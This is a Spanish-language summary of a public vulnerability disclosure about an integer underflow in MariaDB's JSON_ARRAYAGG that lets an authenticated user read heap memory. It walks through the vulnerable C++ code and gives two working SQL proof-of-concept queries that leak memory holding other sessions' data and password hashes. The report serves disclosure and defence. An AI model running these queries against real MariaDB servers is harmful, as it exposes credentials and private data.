Reports
ALTA[OTROS]#3771139

Fuga de memoria dinámica en MariaDB por desbordamiento de enteros en JSON_ARRAYAGG

Un desbordamiento por defecto de enteros en cut_max_length de JSON_ARRAYAGG permitía a cualquier usuario autenticado leer memoria heap arbitraria del proceso de MariaDB, exponiendo datos de otras sesiones y hashes de contraseñas.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La función de agregación JSON_ARRAYAGG de MariaDB contenía un desbordamiento de enteros por defecto (integer underflow) que permitía a cualquier usuario autenticado leer regiones arbitrarias de la memoria dinámica (heap) del proceso del servidor mariadbd. El problema afecta a las versiones >= 10.5.4 y se clasificó como lectura fuera de límites (buffer over-read).

El fallo está en la sobrescritura Item_func_json_arrayagg::cut_max_length, en sql/item_jsonfunc.cc. Cuando se usa un juego de caracteres de un solo byte (latin1, binary o ascii), esta función resta 1 a max_length para reservar espacio a la comilla " de cierre antes de llamar a la función de la clase base, pero no comprueba antes que old_length <= max_length - 1:

void Item_func_json_arrayagg::cut_max_length(String *result,
       uint old_length, uint max_length) const
{
  if (result->length() == 0)
    return;
  if (result->ptr()[result->length() - 1] != '"' || max_length == 0)
  {
    Item_func_group_concat::cut_max_length(result, old_length, max_length);
    return;
  }
  Item_func_group_concat::cut_max_length(result, old_length, max_length-1);
  result->append('"');
}

Cuando old_length >= max_length —lo que ocurre si el resultado acumulado ya alcanzó o superó group_concat_max_len antes de añadir la fila actual—, la clase base construye un Well_formed_prefix cuyo puntero end queda situado antes que el puntero start:

void Item_func_group_concat::cut_max_length(String *result,
        uint old_length, uint max_length) const
{
  const char *ptr= result->ptr();
  size_t add_length= Well_formed_prefix(collation.collation,
                                      ptr + old_length,    // start
                                      ptr + max_length,    // end < start cuando hay underflow
                                      result->length()).length();
  result->length(old_length + add_length);
}

Dentro de my_well_formed_char_length_8bit, la resta (size_t)(end - start) se produce en aritmética sin signo y da la vuelta hasta un valor enorme cercano a SIZE_MAX, de modo que MY_MIN(nbytes, nchars) acaba devolviendo result->length():

size_t my_well_formed_char_length_8bit(...)
{
  size_t nbytes= (size_t) (end - start); // se envuelve a ~SIZE_MAX cuando end < start
  size_t res= MY_MIN(nbytes, nchars);    // = nchars = result->length()
  return res;
}

Como consecuencia, la longitud de la cadena se fija en old_length + result->length() —aproximadamente el doble del tamaño real de los datos— mediante el setter Binary_string::length(size_t), que no valida nada. Así, str_length queda muy por encima de Alloced_length. Al serializar el resultado hacia el cliente (por ejemplo con HEX()), la capa de protocolo lee str_length bytes del búfer, recorre más allá del final del bloque de heap reservado y revela el contenido de las asignaciones de memoria contiguas.

El fallo se introdujo en el commit 6c573a9146caa76807db1190e0747f5befb5b170 (2020-06-15, «MDEV-22844 JSON_ARRAYAGG is limited by group_concat_max_len»). Las versiones anteriores a la 10.5.4 no se ven afectadas porque la sobrescritura cut_max_length de JSON_ARRAYAGG aún no existía.

Pasos de reproducción

Basta una conexión autenticada a MariaDB >= 10.5.4 con los privilegios SELECT y CREATE TEMPORARY TABLES. La variable group_concat_max_len es de ámbito de sesión (SESSION) y no requiere ningún permiso adicional.

Fuga pequeña, con group_concat_max_len = 9:

SET SESSION group_concat_max_len = 9;
CREATE TEMPORARY TABLE t (c VARCHAR(20) CHARACTER SET latin1);
INSERT INTO t VALUES ('ab'), ('cd'), ('ef');
SELECT LENGTH(JSON_ARRAYAGG(c ORDER BY c)) AS result_length,
       HEX(JSON_ARRAYAGG(c ORDER BY c)) AS hex_result FROM t;
DROP TEMPORARY TABLE t;

Esta primera consulta devuelve un result_length bastante mayor que la salida JSON esperada (unos 10 bytes), y el exceso aparece como datos hexadecimales que no forman parte del JSON.

Fuga mayor, con group_concat_max_len = 100:

SET @N = 100;
SET SESSION group_concat_max_len = @N;
CREATE TEMPORARY TABLE t (c MEDIUMTEXT CHARACTER SET latin1);
INSERT INTO t VALUES (REPEAT('a', @N - 2)), ('x');
SELECT LENGTH(JSON_ARRAYAGG(c ORDER BY c)) AS got_bytes,
       @N + 2 AS expected_sane_bytes,
       HEX(SUBSTR(JSON_ARRAYAGG(c ORDER BY c), @N + 2)) AS leaked_heap FROM t;
DROP TEMPORARY TABLE t;

La segunda consulta aísla explícitamente los bytes de heap filtrados que quedan más allá del límite esperado del resultado.

Impacto

Cualquier usuario autenticado con los privilegios por defecto SELECT y CREATE TEMPORARY TABLES puede leer memoria dinámica contigua del proceso mariadbd. El contenido revelado puede incluir datos de consultas de otras sesiones (información personal, credenciales), hashes de contraseñas de mysql.user tomados de la caché de ACL, y punteros del asignador de glibc y de THD aprovechables para derrotar ASLR dentro de una cadena de explotación. La sobrelectura devuelve aproximadamente entre 2 y 3 veces group_concat_max_len por consulta y no hace caer al servidor, por lo que puede repetirse de forma silenciosa e indefinida.